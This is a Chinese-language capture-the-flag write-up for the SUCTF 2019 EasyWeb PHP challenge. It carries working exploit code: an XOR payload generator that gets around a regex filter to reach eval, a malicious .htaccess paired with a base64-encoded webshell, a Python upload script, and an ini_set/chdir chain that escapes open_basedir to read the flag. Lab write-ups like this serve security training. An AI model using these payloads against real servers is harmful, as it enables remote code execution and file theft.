[SUCTF 2019]EasyWeb【chdir()绕过open_basedir】

文章目录

        • 异或绕过正则
      • 方法一:phpinfo()
      • 方法二:`.htaccess`配合`php://filter`
        • 用python文件上传:
        • open_basedir:利用chdir()绕过
      • 总结:


function get_the_flag(){
     
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
     
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
     
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), ')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
     
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
     
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

异或绕过正则

看代码后半部分,主要绕过正则的过滤,用异或来绕过,payload可以由下面这脚本得到:

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

/*
例:_GET  =>  %a0%b8%ba%ab
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
*/
$payload = '';  //payload

for($i=0;$i<strlen($argv[1]);$i++)
{
        
    for($j=0;$j<255;$j++)
    {
     
        $k = chr($j)^chr(255);   //dechex(255) = ff
        if($k == $argv[1][$i])
            $payload .= '%'.dechex($j);
    }
}
echo $payload;

方法一:phpinfo()

既然可以RCE,调用phpinfo()看看,恰巧搜索一下flag即可得到
在这里插入图片描述

方法二:.htaccess配合php://filter

题目中还有一部分关于上传的代码,但是没给上传框给我们,看来是要用python进行文件上传

代码中一共有三个过滤要求:
1.要求文件名后缀不能有ph字眼
2.上传的文件内容不能有字眼
3.通过exif_imagetype()函数要求是图片型文件

exif_imagetype()函数可以通过文件幻数绕过,这里我们可以在文件开头加上GIF89A

考虑到要利用连接一句话木马,必须得有PHP的环境,无非有两个选择:.user.ini.htaccess
.user.ini是需要同目录下有php文件的,这个条件很苛刻,但也不排除没有这个可能,但这题是不可能的,所以尝试.htaccess

被过滤时,用伪协议绕过,上传时上传base64编码过的文件

.htaccess文件:
将 .ppp后缀的文件当做PHP文件解析 ,使用php伪协议解码shell.php的字符,再加载到文件末尾

#define width 1337
#define height 1337 
AddType application/x-httpd-php .ppp
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ppp"

shell.ppp文件:

GIF89A12		#12是为了补足8个字节,满足base64编码的规则
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==

3个传统字节可以由4个Base64字符来表示,原则上Base64字符的最小单位是四个字符一组

用python文件上传:

来自大佬的脚本:通过python上传文件,学到了

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .ppp
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ppp"
"""
shell = b"GIF89A12" + base64.b64encode(b"")
url = "http://c5fc0561-1461-4eef-a3ce-fd83d3b7f5be.node3.buuoj.cn/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files = {
     'file':('.htaccess',htaccess,'image/png')}
data = {
     "upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {
     'file':('shell.ppp',shell,'image/png')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

得到上传文件的路径:
在这里插入图片描述
访问shell.ppp,但发现使用不到system函数,先连接蚁剑
[SUCTF 2019]EasyWeb【chdir()绕过open_basedir】_第1张图片

open_basedir:利用chdir()绕过

先给出大致的Payload:其中chdir('..')尽量多,确保到达根目录

ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。

报错显示没有权限访问别的目录
[SUCTF 2019]EasyWeb【chdir()绕过open_basedir】_第2张图片
在这里插入图片描述
原来是设置了open_basedir,此题仅允许访问:/tmp/var/www/html/

通过官方文档可以看到open_basedir是可以在PHP脚本中被设置的,用ini_set() 即可设置:[SUCTF 2019]EasyWeb【chdir()绕过open_basedir】_第3张图片
[SUCTF 2019]EasyWeb【chdir()绕过open_basedir】_第4张图片
在这里插入图片描述

其次也最为关键的是:open_basedir的设置范围不是随便的,它是“收紧”的,而不是拓宽的。意思你只能在open_basedir()所限制的范围中选择更详细的范围来设置(也就是收紧、缩小范围

在官方文档中有介绍这点:
[SUCTF 2019]EasyWeb【chdir()绕过open_basedir】_第5张图片
任何一个目录其实都包含有...这俩目录:
[SUCTF 2019]EasyWeb【chdir()绕过open_basedir】_第6张图片
通过ini_set('open_basedir','..');的设置,就可全局允许访问..这个目录,众所周知..目录就是上一级目录,既然允许我们访问上一级那就通过chdir()不断将可访问目录往上一级改,此题就改到根目录

print_r(scandir('.'));查看当前目录

cmd=ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('.'));

echo(file_get_contents('THis_Is_tHe_F14g'));输出文件内容

cmd=ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('THis_Is_tHe_F14g'));

[SUCTF 2019]EasyWeb【chdir()绕过open_basedir】_第7张图片

总结:

1.绕过正则进行RCE,可以用异或的方式,一个比较好用的payload

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

2..htaccess文件还能这么编写,利用到伪协议的base64解码另外一个base64编码的恶意文件

#define width 1337
#define height 1337 
AddType application/x-httpd-php .ppp
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ppp"

3.如何编写python进行文件上传
4.chdir()绕过open_basedir

ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

你可能感兴趣的:(文件上传,PHP特性,命令执行)